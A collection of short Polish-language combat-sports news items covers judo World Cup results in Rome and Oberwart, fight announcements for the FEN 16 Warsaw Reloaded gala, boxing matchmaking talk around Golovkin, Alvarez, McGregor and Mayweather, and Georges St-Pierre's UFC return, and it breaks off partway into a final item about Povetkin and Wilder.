Agata Ozdoba ma za sobą wiele zdrowotnych przygód. W ubiegłym roku walczyła z czasem, żeby wystartować w mistrzostwach Europy i udało się. Występ zakończył się sukcesem w postaci tytułu najlepszej reprezentacji Starego Kontynentu. Formę potwierdziła w jesiennych  występach. Tegoroczne starty Ozdoba rozpocznie w Dusseldorfie. W Niemczech rywalizowała dwa lata temu, ale w drugiej rundzie zakończyła udział w imprezie.

Nowe doświadczenie

Doskonale pamiętamy start Pawła Zagrodnika w Igrzyskach Olimpijskich w Londynie. Kolejne dwa lata były dobre w jego wykonaniu, jednak ostatnio przygasł. Teraz postanowił zmienić kategorię i występuje w wadze 73kg. W Pucharze Polski w Mysiadle doświadczony Zagrodnik zajął drugie miejsce. Teraz czas na pierwszy międzynarodowy test. 

W Dusseldorfie wystartuje również Łukasz Błach.

KM

Ihar Kamkou rywalem Marcina Szredera na gali FEN 16 Warsaw Reloaded

Marcin Szreder już wie, z kim będzie walczyć na gali FEN 16 Warsaw Reloaded. Zdobywca Pucharu Europy WAKO w K-1 i low kick 11 marca na Torwarze zmierzy się z ambitnym Białorusinem Iharem Kamkou, który zadebiutuje w organizacji Fight Exclusive Night.

Marcin Szreder, chociaż niedawno świętował czterdzieste urodziny, a kick-boxing traktuje jako odskocznię od prowadzenia interesów, to wciąż należy do najgroźniejszych zawodników w swojej kategorii wagowej. Słynący z twardej, nieustępliwej postawy w ringu fighter klubu Palestra Warszawa to m.in. zdobywca Pucharu Europy WAKO w K-1 i Pucharu Europy WAKO w kickboxingu low-kick oraz złoty medalista Polish Open. Wielokrotnie stawał też na różnych stopniach podium kickbokserskich mistrzostw Polski. Na zawodowych arenach Szreder stoczył dotąd 5 walk, z których czterokrotnie wychodził zwycięsko. W klatkoringu Fight Exclusive Night debiutował na gali FEN 11 Warsaw Time, bez problemu pokonując na punkty Turka z niemieckim paszportem Aytaca Yahsiego. Z kolei w drugim swoim występie podczas FEN 13 Summer Edition wspólnie z Arturem Bizewskim zafundowali kibicom zażartą kickbokserską wojnę, w której zwycięstwo większościową decyzją sędziów przypadło jego rywalowi.

28-letni Ihar Kamkou jest reprezentantem stołecznego klubu Evrica Mińsk. Waleczny, odważnie idący na wymiany ciosów i kopnięć białoruski kickbokser ma większe od Szredera doświadczenie w zawodowym K-1 – stoczył dotychczas 25 walk, wygrywając 17 pojedynków. W ostatnich miesiącach dwukrotnie występował w Polsce, w obu przypadkach biorąc na ostatnią chwilę zastępstwo za niezdolnych do walki innych zawodników. W grudniu 2015 roku Kamkou na gali Makowski Fighting Championship 9 w Nowej Soli decyzją sędziów uległ Marcinowi Bodnarowi, a w listopadzie ubiegłego roku na gali Celtic Gladiator 11 w Krakowie przez techniczny nokaut przegrał z mistrzem FEN Tomaszem Sararą. 11 marca na Torwarze Białorusin zadebiutuje w klatkoringu Fight Exclusive Night.

W drugim już ogłoszonym  pojedynku na zasadach K-1 podczas FEN 16 Warsaw Reloaded zmierzą się Artur Bizewski z Arkadiuszem Wrzoskiem. Gala na Torwarze będzie także okazją do debiutu w organizacji FEN Radosława Paczuskiego. W walce wieczoru w formule MMA zmierzą się 11 marca niepokonany od blisko 4 lat Kamil „Bomba” Łebkowski z Brazylijczykiem Gabrielem „Gabito” Silvą, którego z narożnika będzie wspierał starszy, walczący w UFC brat Erick Silva. Kibice obejrzą też m.in. pojedynki MMA Michała Oleksiejczuka z Włochem Riccardo Nosiglią, Kamila Gniadka z Łukaszem Stankiem, Pawła Pawlaka z Ireneuszem Szydłowskim oraz Arkadiusza Medyńskiego z Sebastianem Kotwicą.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Są blisko porozumienia

Oczami wyobraźni miłośnicy boksu widzą walkę Giennadija Gołowkina i Saula Alvareza. Nie musi to być wyłącznie marzenie. Prawdopodobnie do hitowego starcia miałoby dojść we wrześniu w Las Vegas.

Obaj pięściarze są jak maszyny, które zostały zaprogramowane na wygrywanie. Gołowkin to klasa sama w sobie, z kolei Alvarez, mimo młodego wieku, dał już pokaz ogromnych umiejętności.

Ostatnia prosta

Dobra postawa Gołowkina w ringu sprawiła, że wielu obserwatorów uważa go za najlepszego pięściarza na świecie. Niedawno takie opinie nie były powszechne. Co prawda, bokser z Kazachstanu wygrywał, ale zwracano uwagę, że gromił pięściarzy drugiego sortu. Jednak po wygranej z Danielem Geale'm w 2014 roku głosy krytyków ustały. Kazach w trzeciej rundzie znokautował mocnego rywala. Wystarczy zerknąć na bilans 34-latka, żeby uznać, że z jego pięściami nie ma żartów. Aż 33 z 36 walk wygrał przed czasem i absolutnie dominuje w wadze średniej, jest posiadaczem pasów WBA, WBC, IBF i IBO.

Z kolei Saul Alvarez to nadal młody, gniewny i żądny sukcesów pięściarz. Na karku ma 26 wiosen, ale może pochwalić się imponującym bilansem – stoczył już 48 zwycięskich walk, z których 34 wygrał przed czasem. Przegrał tylko raz. W walce okrzykniętej wielkim hitem, 14 września 2013 roku, uległ na punkty legendarnemu Floydowi Mayweatherowi Jr. Od tamtego czasu gromi wszystkie przeszkody. Choć przy okazji wygranej walki z Miguelem Cotto pojawiły się wątpliwości. Portorykańczyk mądrze realizował taktykę, ale sędziowie uznali, że lepszy był Meksykanin. W kolejnych dwóch starciach, z Amirem Khanem i Liamem Smithem, wątpliwości nie było. Alvarez nie miał litości dla rywali i posłał ich na deski.

Wyraźnie widać, że obaj pięściarze imponują siłą, precyzją i skutecznością. Gołowkin opanował wagę średnią, Alvarez ma pas WBA kategorii lekkośredniej. Trudno się więc dziwić, że zaczęły się spekulacje na temat walki Kazacha i Meksykanina. Kiedyś celem wielu pięściarzy był Mayweather Jr., teraz każdy chce pokonać Gołowkina. Alvarez przegrał z Amerykaninem, czy dane będzie mu pokonać Kazacha? Najpierw musi dojść do podpisania umowy na walkę, a to wydaje się bardzo prawdopodobne. – Jesteśmy blisko porozumienia, ale nie jesteśmy dogadani. Rozmowy prowadzone są od dłuższego czasu, bo chodzi o dużą walkę. Wszystko idzie w dobrą stronę – powiedział Eric Gomez z grupy Golden Boy Promotions. 

Najbliższe wyzwania

Na potwierdzenie hitowego starcia trzeba poczekać, jednak pięściarze nie próżnują. 18 marca w Madison Square Garden Gołowkin zmierzy się z Danielem Jacobsem. 30-letni Amerykanin to również ringowy dominator. 29 z 32 wygranych walk zakończył przed czasem, przegrał tylko jedno starcie.

Z kolei Alvarez w maju zmierzy się z Julio Cesarem Chavezem Jr. Blisko dwa lata temu Meksykanin przegrał z Andrzejem Fonfarą. Później wygrał dwie walki i teraz sprawdzi możliwości Alvareza. Chavez Jr. dolewa oliwy do ognia i wyraża wątpliwości względem walki swojego najbliższego rywala z Gołowkinem. Jego zdaniem Alvarez miałby… bać się Kazacha.

KM

Kuczera na szczycie w Rzymie

Wieczne Miasto szczęśliwe dla Piotra Kuczery (90kg). Brązowy medalista mistrzostw Europy z Kazania wygrał zawody Pucharu Europy w Rzymie. Blisko podium był Jakub Kubieniec (81kg). Z kolei w Oberwart, gdzie rywalizowały panie na piątej pozycji uplasowała się Ewa Konieczny (48kg).

Biało-czerwoni ruszyli w świat. Z Rzymu i Oberwart wracają z jednym medale, ale za to z tym z najcenniejszego kruszcu. 

Rzym zdobyty

Rzym był wielki, Rzym był potężny, ale w końcu nadszedł jego kres. Najazdy ludów barbarzyńskich i problemy wewnętrzne sprawiły, że państwo upadło w 476 roku. Rzym nadal jest miastem wyjątkowy, które chętnie odwiedzają turyści i podziwiają jego urok. Stolica Italii jest również areną sportowej rywalizacji. W miniony weekend do Rzymu zawitali judocy w liczbie 257.

Przed startem zawodów pisaliśmy, że na przestrzeni ostatnich miesięcy nasi judocy byli tłem dla płci pięknej. Wyjątkiem był Piotr Kuczera, który prezentował równą dyspozycję i zdobył brąz mistrzostw Europy. Można powiedzieć, że wbiliśmy panom małą szpileczkę i nieco zmobilizowaliśmy. Ktoś powie, że „wjechaliśmy panom na ambicję”, ale będzie to nadużycie. Po prostu troszczymy się o nasze judo i dobrego tego sportu leży nam na sercu. Do rzeczy, Piotr Kuczera (90kg) wraca z Rzymu w glorii chwały. Zawodnik z Rybnika w finale przez ippon pokonał Turala Safguliyeva. Łącznie Polak wygrał pięć pojedynków. 

Z dobrej strony w stolicy Włoch pokazał się Jakub Kubieniec (81kg). Polski judoka zaczął turniej od wygranych z Marcelem Ottem i Samim Chouchim. W trzecim starciu uległ późniejszemu triumfatorowi zawodów – Eduardo Yudi Santosowi. Kubieniec wygrał walkę repasażową, ale w starciu o brąz lepszy okazał się Sotaro Fujiwara. Polak zakończył rywalizację na piątej lokacie.

Również na miejscu punktowym uplasował si Patryk Ciechomski (90kg), który był siódmy. Po dwóch wygranych przyszła porażka z… Piotrem Kuczerą. Po ponad trzech minutach 21-latek cieszył się ze zwycięstwa. Ciechomskiemu pozostały repasaże, jednak tam lepszy okazał się Louis Krieber Gagnon.

O krok od podium

Panie w liczbie sześciu pojechały na zawody do Oberwart. Na starcie pojawiło się łącznie 151 zawodniczek. Spośród reprezentantek Polski najlepiej wypadła Ewa Konieczny (48kg), która wywalczyła piąte miejsce. W pierwszej walce w półtorej minuty Polka uporała się z Lillą Erdelyi, jednak w kolejnej musiała uznać wyższość Yujeong Kang. Konieczny musiała rywalizować w repasażach, gdzie przez ippon uporała się z Sabiną Giliazovą, jednak w starciu o brąz przed czasem przegrała z Francuzką Marine Lhenry.

Dwie walki wygrała Karolina Tałach (63kg), co dało jej siódmą pozycję. Na jej drodze do walki o medale stanęły Yanka Pascoalino i Lindsay Tsang Sam Moi. Anna Załęczna (+78kg) zanotowała jedno zwycięstwo i dwie porażki, w efekcie czego została sklasyfikowana na siódmym miejscu.

KM

Szykuje się wielki powrót St-Pierre’a!

Po ponad trzech latach Georges St-Pierre wraca do UFC. 35-letni Kanadyjczyk podpisał umowę z najlepszą organizacją MMA na świecie i czeka na wyzwania. Jedni wracają, a inni rezygnują. Valerie Letourneau podjęła decyzję o zawieszeniu kariery.

Fani mieszanych sztuk walki już zacierają ręce i czekają, kiedy nastąpi długo wyczekiwany powrót St-Pierre'a, a przede wszystkim – kto będzie jego rywalem.

Powrót mistrza

O tym, że podpisanie przez St-Pierre'a umowy z UFC jest wydarzeniem nikogo przekonywać nie trzeba. Ponad trzy lata temu 35-letni fighter zawiesił karierę zawodniczą, choć nadal prezentował wysoką formę i odprawiał kolejnych rywali. Przez lata Kanadyjczyk był czołową postacią wagi półśredniej. Mistrzostwo UFC zdobywał dwukrotnie. W listopadzie 2006 roku pokonał Matta Hughesa, ale w pierwszej obronie stracił pas na rzecz Matta Serry. Po roku tytuł wrócił do St-Pierre'a, który wyrównał rachunki z Amerykaninem. Serra przegrał w drugiej rundzie. St-Pierre dziewięć razy skutecznie bronił pasa i zrobił sobie przerwę. Warto dodać, że w trakcie kariery miewał problemy zdrowotne. W grudniu 2011 roku mistrz UFC zerwał więzadła w kolanie i pauzował dziesięć miesięcy. Dla wielu kibiców i obserwatorów stał się ikoną MMA.  Z niecierpliwością czekali, kiedy ponownie będą mogli podziwiać Kanadyjczyka. 

Powrót St-Pierre'a dostarcza wielu emocji, ale także rodzi kolejne pytania. Radości nie ukrywa prezes UFC Dana White. – Jestem podekscytowany. Pracowaliśmy nad tym długo i w końcu udało się – mówił w rozmowie z Los Angeles Times. Wykonano pierwszy krok, jednak w sprawie pierwszej walki St-Pierre'a po dłuższej przerwie nic nie wiadomo. Brak terminu, brak rywala. Jednak… Pojawiają się głosy, że Kanadyjczyk mógłby rywalizować w aż trzech kategoriach wagowych: średniej, półśredniej i lekkiej.

Nie brakuje wątpliwości, co do dyspozycji 35-latka. Czy będzie w stanie rywalizować na najwyższym poziomie? Mimo przerwy, St-Pierre nie odpuścił aktywności i nadal trenował, choć z mniejszym natężeniem. Jego ogromne umiejętności i doświadczenie wyniesione z karate kyokushin, zapasów, boksu, jiu-jitsu sprawiają, że nadal jest groźny. W ostatnim czasie St-Pierre podnosił… umiejętności aktorskie. Można było go zobaczyć w takich produkcjach jak: Kapitan Ameryka: Zimowy Żołnierz czy Kickboxer: Vengeance.

Nowy etap?

Ponad rok temu 33-letnia rodaczka St-Pierre'a, Valerie Letourneau rywalizowała z Joanną Jędrzejczyk o pas mistrzowski w wadze słomkowej. Po pięciorundowym boju musiała uznać wyższość Polki. Dla Kanadyjki była to pierwsza porażka w UFC, ale od tego momentu zaliczyła spadek formy. Przegrała dwie kolejne walki.

Letourneau postanowiła odpocząć od MMA. Na instagramie podziękowała UFC za przygodę i spełnienie marzeń. Zaznaczyła, że nadszedł czas na przemyślenia, co do dalszych planów.

Warto dodać, że Kanadyjka jest kolejną zawodniczką UFC, której kariera znalazła się na zakręcie. W ostatnim czasie dużo mówi się o zakończeniu przygody z MMMA przez Rondę Rousey. Na grudniowej gali UFC Amerykanka wytrzymała w oktagonie z Amandą Nunes zaledwie 48 sekund.

KM

Katarzyna Lubońska zawalczy na kwietniowej gali LFN!

Jedna z najbardziej utalentowanych zawodniczek w Polskim MMA Katarzyna Lubońska wraca do klatkoringu. Tym razem zobaczymy ją w barwach Ladies Fight Night podczas kwietniowej gali żeńskiej organizacji.

Katarzyna Lubońska swoją zawodową karierę w MMA rozpoczęła niecałe 3 lata temu. Piękna i utalentowana zawodniczka szybko skradła serca fanów sportów walki. Ma na swoim koncie cztery zwycięstwa i dwie porażki. Ostatnią walkę, którą Lubońska przegrała na punkty, stoczyła podczas KSW 36 a jej przeciwniczką była Diana Belbita.

„Cieszymy się, że dzięki dobrej współpracy LFN z KSW, Katarzynę Lubońską będziemy w tym roku oglądać w barwach Ladies Fight Night. Zawodniczka otrzymała roczną zgodę od KSW na współpracę z naszą organizacją. To dobrze rokuje na przyszłość i jesteśmy dumni, że nasz LFN Team powiększył się o tak utalentowaną zawodniczkę MMA.” – mówi Łukasz Chmal, prezes Ladies Fight Night.

Kasia już w najbliższych dniach dołączy do LFN Team i weźmie udział w obozie sparingowym organizacji, który odbędzie się w legendarnym klubie Mike’s Gym, otwartym dla wszystkich pragnących doświadczyć treningu na światowym poziomie, w obecności mistrzów. Autorem tego projektu jest charyzmatyczny Mike Passenier. To właśnie pod okiem jego i innych wykwalifikowanych trenerów, najzdolniejsze fighterki z Polski będą przez tydzień (20-26 lutego) szlifować umiejętności przed planowaną na początek kwietnia, kolejną emocjonującą galą LFN.

Przeciwniczką Katarzyny Lubońskiej (4-2-0) będzie finka Vuokko Katainen (3-3-1), która po półtorarocznej przerwie wraca do klatkoringu z ogromnym głodem zwycięstwa. Zawodniczka przeszła operację barku, długą rehabilitację i jak sama mówi jest dziś lepszą fighterką niż przed kontuzją. Przypomnijmy, że zawodniczka z Finlandii w 2013 roku wygrała walkę z Sylwią Juśkiewicz, dziś walczącą w LFN Team.

Piąta gala Ladies Fight Night odbędzie się w Poznaniu i jest planowana na sobotę, 8 kwietnia. Wkrótce więcej szczegółów!

Zaczęła się bitwa na słowa…

Gdyby było cicho, to nic by z tego nie wyszło. A czy wyjdzie? To się dopiero okaże, ale wyraźnie widać, że Conor McGregor i Floyd Mayweather Jr. nie są sobie obojętni. Oczywiście w sensie sportowym.

Z każdym dniem balon robi się coraz większy i musi w końcu pęknąć. Takiego pojedynku świat jeszcze nie widział. Mayweather Jr. w boksie osiągnął wszystko, odniósł także sukces finansowy, z kolei McGregor to charyzmatyczny wojownik UFC, który posiada pas w wadze lekkiej. Powoli zadajemy sobie pytanie, kiedy dojdzie do tej walki.

Ruszyła machina

Jeszcze kilka miesięcy temu ktoś, komu przedstawiono by perspektywę takiej walki puknąłby się w czoło i odesłał nas do najbliższego psychiatry albo chociaż do farmaceuty. Mayweather siedział sobie wygodnie na emeryturze, kiedy McGregor wyzwał go do tablicy. Showman z Irlandii chce stanąć na wprost Amerykanina i odnieść pewne zwycięstwo. 

W listopadzie McGregor pokonał Eddiego Alvareza i po raz kolejny podtrzymał swój apel. Zwrócił uwagę, że jest gotowy na rywalizację bokserską, bo Mayweather boi się „czystej walki”. Oczywiście McGregor zażądał odpowiedniej gaży – 100 milionów złotych.

Było jasne, że zawodnik UFC jest swego rodzaju prowokatorem i czeka na ruch Mayweathera. W końcu „wywołał wilka z lasu”. Niepokonany na zawodowym ringu „Money” jasno przedstawił swoje stanowisko. Podkreślał, że jest legendą boksu i prosił o nieporównywanie go do McGregora. Irlandczyk nie dawał za wygraną, otrzymał licencją bokserską stanu Kalifornia i nie szczędził cierpkich słów Amerykaninowi.

Temat jest ciągle żywy, ale konkretów brak. Powszechnie wiadomo, że McGregor zrobi wszystko, aby nakręcić zainteresowanie i wybić się na pierwszy plan. Z kolei Mayweather jest gwarancją sukcesu finansowego. Jak wiadomo, „do tanga trzeba dwojga”. Irlandczyk zrobił wiele, aby wytworzyć odpowiedni klimat i postawił „Moneya” pod ścianą. Jednak Mayweather to stary lis i na wszystko jest gotowy. Nie wykluczył starcia z McGregorem. – Jeśli chcesz tej walki, to ustal wszystko ze swoimi ludźmi z UFC. Potem zadzwońcie do mnie, twoja ekipa ma mój numer – krótko skwitował sprawę Amerykanin.

Tym samym Mayweather ukrócił doniesienia, wedle których zakontraktowanie walki jest o krok. McGregor nie ukrywa, że jest zdeterminowany, żeby spotkać się z byłym mistrzem WBC, WBA i WBO wagi półśredniej. – Nikt nie może mnie powstrzymać przed tą walką. Nie ucieknie przed czas, ma 40 lat. Jego główka jest malutka, a moja pięść większa niż jego głowa – powiedział Irlandczyk.

Przygotować grunt

Wygląda to trochę jak gra w kotka i myszkę. Rola McGregora sprowadza się do wzbudzenia zainteresowania, powoli do akcji wkracza Mayweather, zainteresowanie rośnie, cały świat czeka…

Wydaje się, że z każdym dniem walka byłego boksera i mistrza UFC staje się coraz bardziej realna. Mayweather nic nie musi, bo jest marką samą w sobie. Dlatego całą robotę musi wykonać McGregor. Stara się jak może, żeby ewentualna walka wzbudzała ogromne emocje i odbiła się szerokim echem. Coraz więcej osób przeświadczonych jest o tym, że to Irlandczykowi odbija. Po prostu McGregor potrzebuje Mayweathera do… sukcesu sportowego, a może w głównej mierze – finansowego.

KM

Santana rywalem Shamaeva na FEN 16 Warsaw Reloaded

Doświadczony Brazylijczyk Shely „Pilao” Santana będzie 11 marca na gali FEN 16 Warsaw Reloaded na Torwarze przeciwnikiem debiutującego w organizacji Fight Exclusive Night oraz w nowej kategorii wagowej czeczeńskiego wojownika Arbiego Shamaeva.

Shely „Pilao” Santana dos Santos (30 lat, 162 cm, 9-5, 3 KO, 2 SUB) pochodzi z Brazylii, ale od kilku lat mieszka i trenuje w Holandii. Początkowo trenował capoeirę, później także muay thai i brazylijskie jiu-jitsu, a dziś oprócz MMA profesjonalnie uprawia też kick-boxing. Obecnie walczy w wagach muszej i koguciej, ale na początku kariery zdarzało mu się rywalizować – i zwyciężać – także w wyższych kategoriach wagowych. W zawodowym MMA debiutował w 2009 roku, wygrywając sześć walk z rzędu na lokalnych galach w Argentynie i Brazylii. Dzięki tej serii zwycięstw dostał szansę występów na arenach najważniejszych w swojej ojczyźnie organizacji Jungle Fight i Shooto Brazil, w których miał okazję walczyć m.in. z Marcosem „Loro” Galvao, obecnym zawodnikiem Bellator MMA. Na gali FEN 16 Warsaw Reloaded powalczy o swoje pierwsze zwycięstwo w Europie, bowiem w dwóch wcześniejszych walkach na Starym Kontynencie musiał uznać wyższość rywali – w 2015 roku w walce wieczoru gali Vote MMA 3 w niemieckim Rheine uległ na punkty Rumunowi Florinowi Gardanowi, a dwa miesiące temu w main evencie gali Night of Masters 10 w Pradze przegrał przed czasem z najlepszym czeskim zawodnikiem wagi muszej Davidem Dvorakiem.

Dla Arbiego Shamaeva (26 lat, 172 cm, 8-3, 5 SUB, 1 KO) starcie z Shelym Santaną na marcowej gali FEN 16 Warsaw Reloaded będzie podwójnym debiutem – w klatkoringu Fight Exclusive Night i w nowej dla niego kategorii koguciej, do której zszedł z wagi piórkowej. Mieszkający na stałe w Warszawie fighter z Groznego to dwukrotny mistrz Polski w amatorskim MMA i zwycięzca mistrzostw Polski w grapplingu. Pierwszą zawodową walkę MMA stoczył w 2011 roku. Dziś ma na swoim koncie 11 walk, z który aż osiem wygrał, raz nokautując i pięciokrotnie poddając rywali. Podopieczny trenera Roberta Jocza za swój najlepszy występ w karierze uważa zwycięski pojedynek z Helsonem Henriquesem. Shamaev wygrywał też z takimi zawodnikami, jak Łukasz Grochowski, Białorusin Semen Tyrlya i Tomasz Zawadzki – pokonując tego ostatniego, zdobył w 2014 roku pas mistrza federacji 3F.

FEN 16 Warsaw Reloaded to drugie wydarzenie organizacji Fight Exclusive Night w Warszawie. W walce wieczoru gali na Torwarze zmierzą się Kamil Łebkowski z Brzylijczykiem Gabrielem Silvą, a w walce o pas w wadze średniej Paweł Żelazowski będzie walczył z Kamilem Gniadkiem. Kibice obejrzą też pojedynki MMA z udziałem Michała Oleksiejczuka, Sebastiana Kotwicy, Pawła Pawlaka, Ireneusza Szydłowskiego i Bartłomieja Kopery, a w pojedynkach w formule K-1 wystąpią Arkadiusz Wrzosek, który zmierzy się z Arturem Bizewskim, oraz Radosław Paczuski i Marcin Szreder.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Karol Zyra kontra Adrian Kurek na otwarcie gali FEN 16 Warsaw Reloaded

Mistrz Polski służb mundurowych w MMA Karol Zyra z Championa Ostrołęka oraz doświadczony Adrian Kurek z klubu Forca Dęblin MMA zmierzą się 11 marca w jednej z pierwszych walk gali FEN 16 Warsaw Reloaded na stołecznym Torwarze. Dla obu zawodników będzie to debiut w klatkoringu Fight Exclusive Night.

Karol Zyra (30 lat, 175 cm, 3-0) to przede wszystkim złoty medalista mistrzostw Polski służb mundurowych i brązowy medalista mistrzostw Wojska Polskiego w MMA. Perspektywiczny zawodnik klubu Champion Ostrołęka, którego sportem bazowym jest kick-boxing, doświadczenie w mieszanych sztukach walki zbierał głównie podczas zawodów amatorskich – na tym poziomie rywalizacji stoczył 42 pojedynki, wygrywając przed czasem połowę z nich. Z kolei jako zawodowiec Zyra jest niepokonany – w trzech walkach na galach Sparta i Kurpiowskiej Kuźni Mistrzów pokonał kolejno Radosława Makowskiego, Karola Kurka i Białorusina Mansura Azerbieva.

Adrian „Rudy” Kurek (34 lata, 174 cm, 4-2) to jeden z najbardziej znanych zawodników i trenerów amatorskiego MMA w Polsce – jego podopieczni wielokrotnie zdobywali medale Amatorskiej Ligi MMA. Reprezentant klubu Forca Dęblin MMA na zawodowych arenach rywalizuje od 2012 roku. W ciągu niespełna półtora roku stoczył pięć walk, w których odniósł trzy zwycięstwa przed nokaut, ale nieźle rozwijającą się karierę pokrzyżował mu poważny uraz kolana. W marcu ubiegłego roku „Rudy” powrócił jednak do gry – przed własną publicznością w Dęblinie duszeniem zza pleców poddał Damiana Majewskiego, potwierdzając, że jest w świetnej formie, a po kontuzji nie ma śladu.

FEN 16 Warsaw Reloaded to drugie wydarzenie organizacji Fight Exclusive Night w stolicy Polski. W walce wieczoru gali na Torwarze zmierzą się Kamil Łebkowski z Brzylijczykiem Gabrielem Silvą, a w walce o pas w wadze średniej Paweł Żelazowski będzie walczył z Kamilem Gniadkiem. Kibice obejrzą też pojedynki MMA z udziałem Michała Oleksiejczuka, Sebastiana Kotwicy, Pawła Pawlaka, Arbiego Shamaeva i Bartłomieja Kopery, a w pojedynkach w formule K-1 wystąpią Arkadiusz Wrzosek, który zmierzy się z Arturem Bizewskim, oraz Radosław Paczuski i Marcin Szreder.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Polacy ruszają do boju

Czas na kolejną odsłonę zmagań w judo. W najbliższy weekend, 18-19 lutego, w pucharowych turniejach w Oberwarcie i Rzymie w akcji zobaczymy 18 zawodniczek i zawodników z Polski.

Dotychczas judocy rywalizowali w Pucharach Świata w Sofii i Odivelas, jednak odpadli na początku zmagań. W ubiegłym tygodniu w Grand Slam w Paryżu zaprezentowała się Arleta Podolak (57kg), ale pożegnała się z turniejem po pierwszej walce. Liczymy, że w najbliższych startach biało-czerwoni dadzą o sobie znać.

Austria czeka na panie

W Oberwart wystąpi sześć naszych zawodniczek: Ewa Konieczny (48 kg), Anna Borowska (57 kg), Karolina Tałach (63 kg), Beata Pacut, Paula Kułaga (obie 78 kg) i Anna Załęczna (+78 kg). Większość z nich mogliśmy podziwiać w zmaganiach Puchar Polski w Mysiadle. Konieczny, Borowska, Kułaga i Załęczna wygrały rywalizację w swoich kategoriach wagowych. Z kolei Karolina Tałach przegrała w finale z Dominiką Błach. 

Zawody w Mysiadle były dobrym przygotowaniem do startu w Oberwart. Teraz wypada, żeby nasze judoczki, wśród których są mistrzynie Europy w drużynie zabłysnęły na arenie międzynarodowej. W poprzednim sezonie doświadczona Ewa Konieczny dwukrotnie stawała na podium pucharowych zmagań. Dobry początek 2016 roku miała Anna Borowska. Judoczka KS „Kejza Team” Rybnik była trzecia w Pucharze Europy w Warszawie i wygrała turniej w Sarajewie. Kolejne starty wyglądały różnie, ale mistrzyni Starego Kontynentu juniorów 2014 ma spore możliwości. Tak jak i Karolina Tałach, która odpaliła w poprzednim roku. 24-latka zwyciężyła Grand Prix w Zagrzebiu i stawała na podium w Rzymie i Tallinie. 

Coraz śmielej w rywalizacji seniorskiej poczyna sobie Beata Pacut. 21-letnia judoczka zaimponowała zwycięstwem w Warszawie, a rok zakończyła siódmą lokatą na mistrzostwach Europy U23. W tym sezonie powinna zrobić kolejny krok w rozwoju. Szansę zaprezentowania się na poziomie seniorskim dostanie Paula Kulaga. W 2016 roku wyróżniała się w rywalizacji juniorek.   W Oberwart kolejne doświadczenie zdobędzie również wicemistrzyni Europy juniorek z 2015 roku Anna Załęczna.

Panowie w Wiecznym Mieście

Mówi się, że „wszystkie drogi prowadzą do Rzymu”. W najbliższy weekend do stolicy Włoch zawitają judocy, którzy będą rywalizować o punkty w turnieju Pucharu Świata. Na tatami w Rzymie zaprezentuje się dwunastu reprezentantów Polski: Aleksander Beta, Patryk Wawrzyczek, Michał Bartusik, Maciej Zacheja (wszyscy 66 kg), Mateusz Garbacz, Wiktor Mrówczyński, Jacek Brysz (wszyscy 73 kg), Jakub Kubieniec (81 kg), Piotr Kuczera, Patryk Ciechomski (obaj 90 kg), Mariusz Krueger i Kamil Niedziela (obaj 90 kg).

Najwyżej stoją akcje 21-letniego judoki z Rybnika. Piotr Kuczera to brązowy medalista ubiegłorocznych mistrzostw Europy. W przekroju 2016 roku przyzwoicie prezentował się Patryk Ciechomski, który regularnie punktował. Pozostali nasi judocy notowali przeciętne wyniki.

KM

Stanek zamiast Żelazowskiego na gali FEN 16 Warsaw Reloaded

Paweł Żelazowski z powodu kontuzji kręgosłupa musiał wycofać się z pojedynku o wakujący pas Fight Exclusive Night w kategorii półśredniej podczas gali FEN 16 Warsaw Reloaded. W walce z Kamilem Gniadkiem, która nie będzie mieć statusu mistrzowskiej, zawodnika Dzikiego Wschodu Biała Podlaska zastąpi młody prospekt Łukasz Stanek.

Dla Łukasza Stanka (22 lata, 182 cm, 3-2) będzie to druga walka w organizacji Fight Exclusive Night – debiutował w świetnym stylu jesienią ubiegłego roku podczas gali FEN 14 Silesian Rage w rodzinnych Katowicach. Zawodnik miejscowego klubu MMAtadores efektowną balachą na kolano w drugiej rundzie pokonał tego wieczora Adriana Błeszyńskiego, nie tylko dopisując trzecie zawodowe zwycięstwo do swego rekordu, ale też zdobywając bonus za poddanie wieczoru. Utalentowany podopieczny trenera Tomasza Jeruszki wcześniej zwrócił na siebie uwagę kibiców sportów walki, zajmując w 2011 roku drugie miejsce w 10. Międzynarodowym Turnieju Hadaka Waza i zwyciężając rok później w Otwartych Mistrzostwach Świata Kong Sao w formule MMA.

Walka z Kamilem Gniadkiem (22 lata, 178 cm, 11-4-1) będzie największym wyzwaniem w zawodowej karierze Łukasza Stanka, bowiem „Undertaker”, choć jest rówieśnikiem katowiczanina, jest zawodnikiem dojrzałym i posiadającym znacznie większe doświadczenie. Reprezentant Berserkers Team Szczecin, który w profesjonalnym MMA debiutował jako siedemnastolatek, na gali FEN 16 Warsaw Reloaded powalczy o czwarte zwycięstwo z rzędu w nowej dla siebie kategorii półśredniej (wcześniej walczył w wadze lekkiej). W trzech ostatnich walkach Gniadek balachą pokonał Niemca Alexandra Vogta na gali IFO Europe: East Meets West, później podczas FEN 13 Summer Edition w swoim debiucie w Fight Exclusive Night duszeniem zza pleców poddał Klemensa Ewalda, a na niedawnej gali FEN 15 Final Strike już w pierwszej rundzie skrętówką wygrał z Francuzem Vincentem Del Guerrą.

FEN 16 Warsaw Reloaded to drugie wydarzenie organizacji Fight Exclusive Night w Warszawie. W walce wieczoru gali na Torwarze zmierzą się niepokonany od blisko 4 lat Kamil "Bomba" Łebkowski z Brzylijczykiem Gabrielem "Gabito" Silvą, którego z narożnika będzie wspierał starszy, walczący w UFC brat Erick Silva. Kibice obejrzą też pojedynki MMA z udziałem Michała Oleksiejczuka, Sebastiana Kotwicy, Pawła Pawlaka, Ireneusza Szydłowskiego i Bartłomieja Kopery, a w pojedynkach w formule K-1 wystąpią Arkadiusz Wrzosek, który zmierzy się z Arturem Bizewskim, oraz Radosław Paczuski i Marcin Szreder.

Bilety na galę FEN 16 Warsaw Reloaded już do kupienia na Eventim.pl i KupBilet.pl. Bilety VIP i zamówienia grupowe – tel. 601 877 229.

FEN

Powietkin ma dług wobec Wildera

Deontay Wilder wzbogaci się o 4,5 miliona dolarów. Taką kwotę na konto amerykańskiego mistrza WBC wagi ciężkiej musi przelać Andriej Riabiński, promotor Aleksandra Powietkina.

